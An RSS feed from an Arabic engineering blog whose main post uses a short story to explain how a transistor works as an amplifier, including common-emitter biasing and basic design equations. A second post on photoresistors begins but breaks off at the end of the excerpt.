<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>هندسة نت &#187; الأقسام الهندسية</title>
	<atom:link href="http://www.handsah.net/archives/category/eng/feed" rel="self" type="application/rss+xml" />
	<link>http://www.handsah.net</link>
	<description>مجتمع هندسي عربي على الإنترنت</description>
	<lastBuildDate>Fri, 31 Dec 2010 15:39:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>الخريجة والحفيدة…والترانزستور</title>
		<link>http://www.handsah.net/archives/3228</link>
		<comments>http://www.handsah.net/archives/3228#comments</comments>
		<pubDate>Fri, 31 Dec 2010 15:39:17 +0000</pubDate>
		<dc:creator>وسيم الخاير</dc:creator>
				<category><![CDATA[أبحاث]]></category>
		<category><![CDATA[إلكترونيات]]></category>
		<category><![CDATA[الأقسام الهندسية]]></category>
		<category><![CDATA[الهندسة الإلكترونية]]></category>
		<category><![CDATA[الهندسة الكهربائية]]></category>
		<category><![CDATA[الترانزستور]]></category>
		<category><![CDATA[ترانزستور]]></category>
		<category><![CDATA[ترانزستور مكبر]]></category>
		<category><![CDATA[دارة ترانزستور مكبر]]></category>
		<category><![CDATA[شرح ترانزستور]]></category>
		<category><![CDATA[مضخم الترانزستور]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=3228</guid>
		<description><![CDATA[كانت الساعة تشير إلى الرابعة عصرا من يوم الأربعاء، وهو وقت حصة مختبر الإلكترونيات، آآآآه [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://muslimlead.com/wp-content/uploads/2010/12/kid.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/12/kid.jpg" alt="" width="299" height="300" /></a></p>
<p>كانت الساعة تشير إلى الرابعة عصرا من يوم الأربعاء، وهو وقت حصة مختبر الإلكترونيات، آآآآه !! ياللتوقيت السيء&#8230;</p>
<p>هكذا بدأت الخريجة تحدث نفسها، وقالت: في كل مرة أتمنى أن يتم تغيير  موعد المختبر، فهذا الموعد مزعج للغاية فهو نهاية الأسبوع ونهاية اليوم</p>
<p>ياللفظاظة..لكن عزائي الوحيد أنها سنتي الأخيرة  في الجامعةـ فصبر جميل والله المستعان على هذه الحصة الغليظة</p>
<p>حملت خريجتنا أمتعتها، وارتدت معطفها الصوفي الأخضر الذي جهزته لها  الوالدة خصيصا لهذا التوقيت من السنة الذي بدأ فيه الزمهرير متقدما كغير  عادته. ودَعت والدتها قائلة: أمي أنا ذاهبة لمختبر الغلاظة..أقصد  الإلكترونيات &#8230;هل تريدين شيئا قبل أن أذهب؟</p>
<p><img src="http://muslimlead.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" />ردت الأم: بالتوفيق يا بنيتي&#8230;لاتتأخري</p>
<p>فتحت خريجتنا الباب، وبدأ صوت صريره المزعج ..تيييك..فهذه هي ضريبة فصل  الشتاء، كل شيء يحتاج لتزييت. ثم خرجت وضغطت زر المصعد، وماهي ثوان إلا وقد  وصل..أمسكت قبضة الباب الرمادية اللون وكانت باردة للغاية وفتحت الباب،  وفوجئت بوجود فتاة صغيرة داخل المصعد..فابتسمت في وجهها وأغلقت الباب وضغطت  زر الطابق الأرضي.</p>
<p>بدأت الطفلة الصغيرة تنظر إليها بتمعن وخاصة أنها كانت تمسك بكراستها الإلكترونية..وعليها العنوان البراق&#8230;<strong>الترانزستور</strong></p>
<p>ضحكت الفتاة الصغيرة <img src='http://www.handsah.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  وهنا استغربت الخريجة!! وقالت لها: مابالك يا صغيرتي؟ ما المضحك في الأمر؟</p>
<p>ردت الطفلة: كنت في زيارة لمنزل جدتي بالأمس، وحصلت لنا قصة مخيفة في  هذا المصعد، وتمكنا من حلها بفضل الله ثم بسبب العم ترانزستور&#8230;فتبسمت  الخريجة ضاحكة: ها؟ ترانزستور؟ ومن أين لك ياعزيزتي بمعرفته؟ حدثيني عنه..</p>
<p>فقالت الطفلة: عليك بالرجوع إلى مدونة وسيم، فلقد كتب عني وعن جدتي قصة  تشرح الترانزستور..لكنه تناول جانبا واحدا فقط وهو الترانزستور كمفتاح، فهل  له تطبيقات أخرى؟</p>
<p>ردت عليها: بالتأكيد نعم..واليوم في المختبر سأتعلم عن تطبيق <strong>المكبر</strong>..ولعلي ألتقي بك مرة أخرى يا عزيزتي كي أشرحه لك..</p>
<p>ردت الطفلة: لا تخافي، فوسيم لن يفوت فرصة لذلك، ولن ألتقي بك حتى يكون قد كتب في مدونته عن الترانزستور كمكبر</p>
<p>وما انتهت الطفلة حتى وصل المصعد للطابق الأرضي، وفتحت الخريجة الباب  ووضعت يدها على رأس الطفلة وقالت لها، مع السلامة..أراك في مدونة وسيم.</p>
<p>هلا لازلتم تذكرون الجدة وحفيدتها وقصة المصعد؟</p>
<p>لمن لم يقرأ <a href="http://muslimlead.com/?p=1844" target="_blank">تلك التدوينة</a> فعليه قراءتها قبل أن ننتقل للجزء الثاني في الحديث عن العم ترانزستور.</p>
<p>سبق وأن عرفنا أن للترانزستور عدة استخدامات:</p>
<p>1. دوائر المذبذبات</p>
<p>2. مفتاح إلكتروني</p>
<p>3. التكبير</p>
<p>وسنناقش اليوم موضوع استخدام الترانزستور كمكبر.</p>
<p>دعوني أتحدث عن مغامراتي مع الترانزستور منذ الصغر، حيث كنت في بداياتي  كهاو للإلكترونيات أتعامل مع الدارات دون معرفة تفاصيلها الدقيقة، ودون  الإلمام الكامل بماتعنيه كل قطعة وسبب وجودها في الدارة، فكان كل اهتمامي  آنذاك هو أن تعمل الدارة بإصدار صوت أو ومضة ثنائي مشع للضوء. كنت أقرأ عن  شرح للعناصر الإلكترونية في الكتب التي وقعت تحت يدي، لكنها كانت تغص  بشروحات ومعادلات لم تجب فضولي، ولم أتمكن من معرفة السر الحقيقي وراء  الترانزستور مثلا وكيفية عمله الحقيقي أو طريقة اختباره أو أساسيات  تطبيقاته. وهاقد مرت الأيام، والحمد لله تمكنت من زيادة علمي في هذا المجال  واليوم سأحاول أن أذكر نفسي بكل تلك التساؤلات التي كانت تدور في ذهني  وسأعرض الإجابة عنها. تساؤلات هي بسيطة للغاية لكنك لن تجد إجابة شافية في  الكتب الأكاديمية أو الكتب المتوفرة في الأسواق، إجابات لأسئلة سترادوك  كثيرا في بدايات معرفتك لهواية الإلكترونيات.</p>
<p>1. كنت أتساءل: كيف يتم تكبير التيار في الترانزستور في دوائر التكبير؟  من أين يأتي بقدرته هذه، فهل هو كبطارية مثلا ويمكن أن تنضب بعد فترة  وينتهي عمر الترانزستور؟ كيف يمكن له تكبير الإلكترونات القادمة إلى  قاعدته؟ وهل هو من سيعمل على إمدادها بالطاقة؟ هل هو إذا منبع للطاقة يكمن  أن ينضب بعد فترة من استخدامه ؟</p>
<p>2. هل يمكن تكبير أي إشارة دخل بواسطة الترانزستور؟ فهل يمكن تكبير  إشارة تيار مستمر؟ أم متردد؟ وماهي قيمتها القصوى؟الدنيا؟ هل هناك حدود؟</p>
<p>3. لماذا أجد أرقاما معينة للترانزستور في الدارات؟ هل وضعت بشكل دقيق؟ وهل تعني شيئا أصلا؟ وهل يمكنني استبدالها بأخرى؟</p>
<p>4. كنت حين ذهابي لمحلات شراء القطع الإلكترونية أنزعج كثيرا إذا قال لي  البائع عفوا وسيم..هذا الترانزستور غير موجود&#8230; <img src='http://www.handsah.net/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  لكنه كان يقدم  المساعدة من خلال كتاب المكافئات أو العناصر التي يمكن استخدامها بدل  الترانزستور الذي أطلبه. فكيف يتم اختيار ذلك البديل؟</p>
<p>هذا كان مجمل ما كنت أعانيه كمبتدئ في هذا المجال. إلا أنه حان وقت نفض  الغبار عن تلك الأفكار وحان وقت نشر العلم ، ونشر الجزء البسيط الذي تعلمته  بفضل الله. فأتمنى أن أوفق في طرح ما تعلمته خلال السنوات العشر الماضية.</p>
<p>كم مرة شاهدتم دارة كالتي في الصورة أدناه:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/12/%D8%AA%D8%B1%D8%A7%D9%86%D8%B2%D8%B3%D8%AA%D9%88%D8%B1.gif"><img src="http://muslimlead.com/wp-content/uploads/2010/12/%D8%AA%D8%B1%D8%A7%D9%86%D8%B2%D8%B3%D8%AA%D9%88%D8%B1.gif" alt="" width="420" height="339" /></a></p>
<p>حسنا: ماهو دور الترانزستور TR1 ؟</p>
<p>تخيلوا معي أننا نعيش في منزل معين ولدينا خزانان من الماء، الأول خزان  علوي في سطح المنزل والأخر في قاع المنزل. ولنفترض جدلا أن الخزان العلوي  فارغ تقريبا من الماء، وأننا أردنا أن نستخدم ذلك الخزان للحصول على الماء،  فكيف يمكنني أن أستغل الماء الموجود في الخزان السفلي وأقوم بدفعه للخزان  العلوي بحيث أتمكن من الاستفادة منه واستخدامه في المنزل؟هنا يأتي دور مضخة  الماء التي يجب أن تكون في أسفل المنزل ومتصلة بالخزان السفلي. ألسنا نقوم  بتشغيل المضخة في كل مرة نحتاج إلى ماء كي نملأ به الخزان العلوي؟</p>
<p>إذا المضخة هي اللاعب الرئيسي في هذه الحيلة، فهي بمثابة العقل المدبر  الذي سيعمل على تحويل طاقة المصدر&#8221; الخزان السفلي&#8221; وإجبارها على التحرك  للحمل &#8221; الخزان العلوي&#8221; كي نستفيد منها.</p>
<p>بنفس الطريقة يعمل الترانزستور كمكبر، فهو كالمضخة التي ستقوم  بالاستفادة من جهد وتيار المصدر &#8220;بطارية مثلا&#8221; بحيث تضيف طاقة  للإشارة  الضعيفة التي دخلت إلى قاعدة الترانزستور لتكبيرها. فالأمر بشكل تجريدي،  لدينا إشارة ضعيفة جدا  &#8220;كالماء القليل الموجود في الخزان العلوي في  المنزل&#8221;، ونريد إرسال تلك الإشارة الضعيفة للحمل أو الخرج &#8220;مجمع  الترانزستور&#8221; مكبرة بحيث نستغل وجود بطارية أو مصدر خارجي للتيار &#8220;مثل  الخزان السفلي&#8221; وبذلك نكون قد حللنا مشكلة الإشارة الضعيفة وقمنا بتكبيرها  بالشكل المطلوب.ونلاحظ أن كمية التكبير تعتمد أساسا على قدرة الترانزستور&#8221;  المضخة&#8221; وعلى نوعية الإشارة وشكلها وحجمها، وأيضا على قدرة المصدر  &#8220;البطارية&#8221; .</p>
<p>حتى هذه النقطة نكون قد عرفنا أن الترانزستور هو عنصر له القدرة على  التحكم  أو استغلال مصدر معين &#8211; كالبطارية مثلا- لتكبير إشارة ما داخلة إلى  قاعدته، فلذلك هو ليس مولد للطاقة بذاته بل هو مجرد عنصر له القدرة على  إضافة طاقة خارجية على إشارة ضعيفة لتكبر بالحجم المطلوب باستغلال المصدر  الخارجي للطاقة، لذلك فإن  الترانزستور لن يضمحل بعد فترة من استخدامه بل  سيبقى يعمل مادام هناك مصدر يمده بالطاقة.</p>
<p><span style="color: #0000ff"><strong>ننتقل للسؤال الثاني: هل يمكن تكبير أي إشارة واردة إلى قاعدة الترانزستور؟</strong></span></p>
<p>بالتأكيد لا..فكما أن لكل مضخة قدرة تعمل ضمن حدودها، كذلك فإن  للترانزستور مجالا معينا يعمل ضمنه وبالتالي فهو ليس قادرا على تكبير أي  إشارة ضعيفة تدخل إلى قاعدته فإن ذلك يحدث ضمن شروط معينة. ومايحكم ذلك  عادة: هو تردد الإشارة الداخلة مثلا: فالترانزستور يتأثر بتردد الإشارة  الداخلة ولا يمكننا إدخال أي إشارة دون مراعاة أقصى تردد يدعمه  الترانزستور. فتخيلوا أننا نريد تكبير إشارة <strong>صوت </strong>ضعيفة، فتردد إشارة  الصوت لن يتجازو الـ 20 كيلو هرتز. ويمكن القول تجاوزا أن أي ترانزستور  قادر على التعامل معها. لكن لو أردنا التعامل مع إشارة موجة FM ذات تردد  108 ميجاهرتز مثلا، فليس كل ترانزستور قادر على معالجة تلك الإشارة. وأيضا،  لكل ترانزستور نسبة تكبير محددة تعرف بمعامل التكبير B وهي في العادة تكون  ذات قيمة قد تصل لـ 100 أو 200 مرة، فمعنى ذلك أنه إذا أردنا تكبير إشارة  دخل ترددها  &#8211; 1 كيلو هرتز مثلا- وقيمتها  1 ميللي فولت لتكون 1 فولت على  الخرج، باستخدام ترانزستور معامل تكبيره 200 فلن نتمكن من ذلك، لأن الكسب  المطلوب في حالتنا يجب أن يكون 1000 مرة في أقل تقدير كي نصل للقيمة  المطلوبة.</p>
<p>وللتذكير فإن تحمل الترانزستور محكوم بأمور رئيسية مثل:</p>
<p>1. جهد الحمل: القيمة القصوى</p>
<p>2. تردد إشارة الدخل المراد تكبيرها: هل هي في مجال الميجاهرتز؟ أم الكيلو هرتز؟</p>
<p>3. قيمة إشارة الدخل: هل هي في مجال الميللي فولت</p>
<p>4. كمية تيار الحمل أو تيار المجمع</p>
<p><span style="color: #0000ff"><strong>أنتقل  للسؤال الثالث:  هل الأرقام الموجودة على الترانزستور تعني شيئا للمصمم؟  مثل : 2N 2222 أو AC128  أو 2N3904 هل هناك فرق حقيقي بينها أم أنها مجرد  طلاسم؟</strong></span></p>
<p>نعم هناك فرق شاسع بينها. فلكل ترانزستور مواصفات معينة خاصة به، فمثلا:  هناك كما عرفنا سابقا ترانزستور نوع موجب- سالب- موجب وهناك آخر من نوع  سالب موجب سالب، وهناك من له قدرة تكبير تصل لـ 100 مرة، ومنها من يعمل على  فرق جهد 12 فولت وآخر حتى 60 فولت. فترقيم أو تسمية الترانزستور أمر ضروري  ولا مفر منه. فهو كاسم الشخص! فلايمكننا التعامل مع الترانزستور دون معرفة  رقمه. وإذا عرفنا رقمه تمكنا من قراءة ملف المواصفات الفنية &#8220;الداتاشيت&#8221;  التي ستوضح كافة المعلومات الخاصة بالترانزستور.</p>
<p><span style="color: #0000ff"><strong>السؤال الأخير: كيف يمكن معرفة المكافئات أو البدائل لأي ترانزستور؟</strong></span></p>
<p>سبق وأن ناقشت موضوعا مشابها تجدونه <a href="http://muslimlead.com/?p=1038" target="_blank">هنا</a>،  وخلاصة القول أنه بمجرد معرفة مواصفات الترانزستور الأساسي من خلال ملف  المواصفات ومقارنتها بما نحتاجه فعلا في الدارة يمكننا التوجه للمواقع  الشهير ة مثل <a href="http://www.digikey.com/" target="_blank">ديجي كي</a> والبحث عن أي بديل يلبي الغرض، وكما قلت سابقا فأرقام الترانزستور  الموجودة في أي دارة والتي يختارها المصمم ليست آية منزلة بل هي اجتهاد قد  يصلح لفترة وقد لايتناسب أحيانا مع  القطع المتوفرة في الأسواق. فعلينا  الاجتهاد بأنفسنا إذا واجهنا مشكلة الحصول على الترانزستور الأساسي.</p>
<p><span style="color: #0000ff"><strong>حسنا  وسيم ..لكن كيف يتم تصميم أي دارة تكبير بسيطة باستخدام الترانزستور؟ ما  هي الأسس الصحيحة لذلك؟ هل هناك معادلات لابد من استخدامها؟ ماهي الطريقة  الصحيحة لتوصيل الترانزستور كي يعمل كمكبر؟</strong></span></p>
<p>كي نقوم بعملية التكبير، فلابد أن يتم قدح &#8220;تشغيل&#8221; الترانزستور وتهيئة  الظروف المحيطة به كي يدخل في وضع التكبير. وهناك عدة أشكال لدوائر القدح  التي يتم من خلالها عملية تشغيل الترانزستور وتأمين انحياز أمامي بين  القاعدة والمشع وانحياز عكسي بين المجمع والقاعدة. وما نعنيه بدوائر القدح،  هو أننا نقوم بتوصيل مجموعة مقاومات ومكثفات بأطراف الترانزستور كي يكون  مستعدا للعمل في وضعية التكبير. وإحدى أشهر تلك الدارات ما يعرف بدارة <strong>المشع المشترك </strong>الموضحة في الصورة أدناه:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/12/Common_Emitter_amplifier.png"><img src="http://muslimlead.com/wp-content/uploads/2010/12/Common_Emitter_amplifier-1024x871.png" alt="" width="430" height="366" /></a></p>
<p>لنحلل تلك الدارة:</p>
<p>1. إلى اليسار وتحديدا عند طرف المكثف C1تشاهدون إشارة الدخل المراد معالجتها وتكبيرها</p>
<p>2. C1  مهمة هذا المكثف هي عزل أي جهد مستمر قد يكون قادما ضمن إشارة  الدخل. والهدف من عزلها، كي لا نؤثر على عملية قدح الترانزستور وعادة قيمته  تتراوح بين 0.1 إلى 1 ميكروفاراد</p>
<p>3. R1 R2 هي مقاومات مخصصة لقدح الترانزستور باستخدام جهد المصدر   &#8220;البطارية&#8221;  كي نوفر جهد انحياز أمامي لنبيطة القاعدة-المشع والذي يجب أن  تكون أكبر من 0.7 فولت كي تكون نبيطة القاعدة-المشع منحازة أماميا وكذلك  لتأمين جهد انحياز عكسي لنبيطة القاعدة -المجمع لتكون أقل من 0.7فولت.  وقيمتها تتعلق بجهد البطارية المتصل بالترانزستور U1&#8243; فيجب أن نختار قيما  بحيث نضمن وصول جهد أكبر من 0.7 فولت ولنقل جدلا أنه 2 فولت. فإذا كان جهد  المصدر 10 فولت معنى ذلك إذا قررنا جعل قيمة R1 100 كيلو أوم فيجب أن تكون  أقل قيمة لـ R2  هي 25 كيلو أوم</p>
<p>4. R3 كي نستطيع أن نمرر تيارا محددا في المجمع دون تجاوز قيمة معينة،  فلنقل أننا نريد كحد أقصى 100 ميللي أمبير ولدينا جهد بطارية 10 فولت فعلى  فرض أن الجهد بين المشع والمجمع في حالة التكبير للترانزستور سيكون حوالي 2  فولت &#8220;تذكروا أن هذه القيمة ستكون حوالي 0.2 فولت في وضعية الإشباع وهي  عند استخدام الترانزستور كمفتاح&#8221; &#8220;فقيمة المقاومة يجب ان تكون:</p>
<p>R3= 10-2/100mA= 80 Ohm</p>
<p>لكن أيضا قيمة تلك المقاومة مرتبطة بالمعادلة التالية:</p>
<p>Ic= b*Ib</p>
<p>حيث إن b هي كسب الترانزستور  و Ib هو تيار القاعدة</p>
<p>إذا أقصى كمية تيار مجمع مرتبطة بتيار القاعدة والكسب الخاص  بالترانزستور، وذلك يعني أنه إذا حددنا تيار القاعدة ليكون 0.1 ميللي أمبير  مثلا فيجب أن لا يتجاوز تيار المجمع 0.1*100 = 10 ميللي، وهي ما سيغير  قيمة المقاومة المتصلة بالمجمع.</p>
<p>5. C2 الهدف منه هو عزل أي جهد مستمر من الانتقال من الترانزستور إلى  الحمل، ويمكن اختيار قيمة بين 0.1 ميكرو فاراد وحتى 1 ميكروفاراد</p>
<p>6. RL هي مقاومة الحمل</p>
<p>7. R4 هي مقاومة المشع وتستخدم لتحديد تيار المشع.</p>
<p>8. C3   ويستخدم لتثبيت نقطة القدح الخاصة بالترانزستور بحيث لا تتأثر بأي موجة جيبية عابرة</p>
<p>هذا بشكل مبسط أشهر دارة قدح يستخدمها هواة الترانزستور،</p>
<p>الآن سأذكر لكم أهم المعادلات التي يستخدمها المصمم الذي يتعامل مع دوائر التكبير في الترانزستور، وهي:</p>
<p>1. Ic= b*Ib</p>
<p>2. Vce حوالي 2 فولت</p>
<p>3. Ie= Ib+Ic</p>
<p>4. <em><img src="http://nptel.iitm.ac.in/courses/Webcourse-contents/IIT-KANPUR/esc102/img734.png" border="0" alt="$ V_{CE}\geq 0.2V$" width="88" height="30" align="MIDDLE" /><br />
</em></p>
<p>5. <img src="http://nptel.iitm.ac.in/courses/Webcourse-contents/IIT-KANPUR/esc102/img711.png" border="0" alt="$ V_E&lt;V_B&lt;V_C$" width="107" height="30" align="MIDDLE" /> for NPN</p>
<p>وهي المعادلات الرئيسية التي يستخدمها أي مصمم ترانزستور يحاول إدخاله  في حالة التكبير، ويمكن معرفة القيم القصوى لتلك التيارات والجهود التي  ذكرتها في الأعلى بالرجوع لملف المواصفات الفنية للترانزستور الذي يحوي  كافة الأرقام الدقيقة، وبناء عليها يتم تحديد القيم الخاصة بالمقاومات التي  تحدثنا عنها في دارة قدح الترانزستور السابقة.</p>
<p>حسنا وسيم، أليست العملية معقدة؟ فهل يجب أن نقوم بالحسابات في كل مرة  نحاول تغيير قيم التيار المار في المجمع؟ هل هناك حيل لإجراء الحسابات بطرق  أسرع؟</p>
<p>تذكروا أن مايميز المهندس المحترف عن الهاوي البسيط هو قدرة المهندس على  استخدام المعادلات لإثبات نظريته، لذلك يجب أن يكون في أذهاننا أن  المعادلات هي الطريقة الأمثل لإجراء أي تغيير على الترانزستور. لكن ذلك لا  يمنع أن نستخدم حيلة بسيطة وسريعة لإجراء تلك الحسابات،</p>
<p><span style="color: #0000ff"><strong>هل سبق وأن سمعتم ببرنامج PSPice?</strong></span></p>
<p>هو برنامج شهير لتحليل الدارات الإلكترونية من شركة Cadence وأنصح كل  مهندس أو طالب أو هاو أن يستخدمه في تحليل داراته. فما يقوم به البرنامج  أنه يسمح للمستخدم برسم أي دارة ومن ثم يتم تحليل تلك الدارة ورسم الدوال  البيانية الخاصة بالتيار أو الجهد عند أي نقطة مرغوبة في الدارة. مما يسهل  على المصمم أن يقوم بإجراء أي تعديل بسيط على دارته ومن ثم يضغط زر  المحاكاة والتحليل لتخرج النتيجة. البرنامج يعتمد في ذلك على معادلات  رياضية خاصة بكل عنصر إلكتروني موجودة ضمن قاعدة بيانات البرنامج فما يقوم  به البرنامج هو معالجة تلك المعلومات الواردة فيها. لذلك لايمكننا اعتبار  التحليل الوارد في البرنامج حقيقي 100% فالحكم الحقيقي يكون بإجراء التجربة  في المختبر حيث أن البرنامج غير قادر على محاكاة كافة الظروف الحقيقية  المتعلقة بالعنصر أو الظروف المحيطة به كالحرارة والرطوبة والتشويش المحيط.  لكن باختصار يمكننا استخدام البرنامج كي نأخذ تصورا عاما عن أداء الدارة  قبل الشروع في شراء عناصرها وتركيبها في المختبر.</p>
<p>تفضلوا<a href="http://www.cadence.com/products/orcad/pspice_simulation/pages/default.aspx" target="_blank"> موقع البرنامج </a>و<a href="http://www.electronics-lab.com/downloads/schematic/013/" target="_blank">هنا </a>نسخة مجانية للطلاب</p>
<p><span style="color: #0000ff"><strong>حسنا وسيم، ماذا لو أردنا استخدام ترانزستور MOSFET?</strong></span></p>
<p>كان نقاشنا السابق يتعلق بترانزستور من نوع BJT   فما هو الفرق بينه  وبين ترانزستور التأثير المجالي المصنوع من المعدن والأكسيد والمعدن أو  مايعرف بالموسفت؟ MOSFET؟</p>
<p>سأترك الإجابة لموضوع  قرأته في منتدى القرية الإلكترونية من <a href="http://www.qariya.com/vb/showthread.php?t=12055" target="_blank">هنا</a></p>
<p>ويمكننا اختصار القول بأن الفرق الرئيسي بين هذين النوعين هو أن التحكم  في التيار المار يتم من خلال تيار القاعدة في نوع الـ BJT أما في نوع  الموسفت فيتم التحكم في التيار المار في المصرف من خلال جهد البوابة.</p>
<p>ختاما، أترككم مع هذا المقطع الذي يختصر جزءا من نقاشنا السابق:</p>
<p><object width="500" height="400"><param name="movie" value="http://www.youtube.com/v/XVonmO6IHc4?fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/XVonmO6IHc4?fs=1" type="application/x-shockwave-flash" width="500" height="400" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong>المصادر:</strong></p>
<p>1.<a href="http://www.qariya.com/vb/showthread.php?t=58180&amp;page=14" target="_blank"> القرية الإلكترونية</a></p>
<p>2. <a href="http://www.tpub.com/neets/book7/25a.htm" target="_blank">شرح أجنبي</a></p>
<p>3. <a href="http://www.electronics-tutorials.ws/amplifier/amp_2.html" target="_blank">مصدر أجنبي ثان  مميز</a></p>
<p>4.<a href="http://nptel.iitm.ac.in/courses/Webcourse-contents/IIT-KANPUR/esc102/node21.html" target="_blank"> مصدر أجنبي ثالث</a></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3228&amp;linkname=%D8%A7%D9%84%D8%AE%D8%B1%D9%8A%D8%AC%D8%A9%20%D9%88%D8%A7%D9%84%D8%AD%D9%81%D9%8A%D8%AF%D8%A9%E2%80%A6%D9%88%D8%A7%D9%84%D8%AA%D8%B1%D8%A7%D9%86%D8%B2%D8%B3%D8%AA%D9%88%D8%B1" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3228&amp;linkname=%D8%A7%D9%84%D8%AE%D8%B1%D9%8A%D8%AC%D8%A9%20%D9%88%D8%A7%D9%84%D8%AD%D9%81%D9%8A%D8%AF%D8%A9%E2%80%A6%D9%88%D8%A7%D9%84%D8%AA%D8%B1%D8%A7%D9%86%D8%B2%D8%B3%D8%AA%D9%88%D8%B1" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3228&amp;linkname=%D8%A7%D9%84%D8%AE%D8%B1%D9%8A%D8%AC%D8%A9%20%D9%88%D8%A7%D9%84%D8%AD%D9%81%D9%8A%D8%AF%D8%A9%E2%80%A6%D9%88%D8%A7%D9%84%D8%AA%D8%B1%D8%A7%D9%86%D8%B2%D8%B3%D8%AA%D9%88%D8%B1" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3228&amp;linkname=%D8%A7%D9%84%D8%AE%D8%B1%D9%8A%D8%AC%D8%A9%20%D9%88%D8%A7%D9%84%D8%AD%D9%81%D9%8A%D8%AF%D8%A9%E2%80%A6%D9%88%D8%A7%D9%84%D8%AA%D8%B1%D8%A7%D9%86%D8%B2%D8%B3%D8%AA%D9%88%D8%B1" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3228&amp;linkname=%D8%A7%D9%84%D8%AE%D8%B1%D9%8A%D8%AC%D8%A9%20%D9%88%D8%A7%D9%84%D8%AD%D9%81%D9%8A%D8%AF%D8%A9%E2%80%A6%D9%88%D8%A7%D9%84%D8%AA%D8%B1%D8%A7%D9%86%D8%B2%D8%B3%D8%AA%D9%88%D8%B1" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/3228/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>يا أصحاب الضوء&#8230;المقاومة الضوئية</title>
		<link>http://www.handsah.net/archives/3212</link>
		<comments>http://www.handsah.net/archives/3212#comments</comments>
		<pubDate>Wed, 29 Dec 2010 04:19:53 +0000</pubDate>
		<dc:creator>وسيم الخاير</dc:creator>
				<category><![CDATA[أبحاث]]></category>
		<category><![CDATA[إلكترونيات]]></category>
		<category><![CDATA[الأقسام الهندسية]]></category>
		<category><![CDATA[الهندسة الإلكترونية]]></category>
		<category><![CDATA[الهندسة الكهربائية]]></category>
		<category><![CDATA[أردوينو]]></category>
		<category><![CDATA[الخلية الضوئية]]></category>
		<category><![CDATA[المقاومة الضوئية]]></category>
		<category><![CDATA[مشاريع إلكترونية]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=3212</guid>
		<description><![CDATA[هاقد دخل فصل الشتاء بعد صيف حار مر بمنطقتنا، وبدأ الناس يتسابقون على شراء ما [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://muslimlead.com/wp-content/uploads/2010/12/cds_LRG.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/12/cds_LRG.jpg" alt="" width="420" height="316" /></a></p>
<p>هاقد دخل فصل الشتاء بعد صيف حار مر بمنطقتنا، وبدأ الناس يتسابقون على  شراء ما يدخل الدفء إلى بيوتهم ويحمي صغارهم من شدة البرد القارس الذي  اجتاح المعمورة ابتداء من أوروبا ومرورا بمصر وبلاد الشام. ثلوج وأمطار  نسأل الله أن يجعلها سقيا رحمة..آمين</p>
<p>قصتي التي سأفتتح بها تدوينتي لهذا اليوم لها علاقة ببرد الشتاء، وأيضا بالضوء. نعم الضوء..!</p>
<p>فلنبدأ القصة ..لكن هذه المرة تذكروا أنها ستكون أكثر متعة وفائدة.. فلنحزم أمتعتنا<img src="http://muslimlead.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
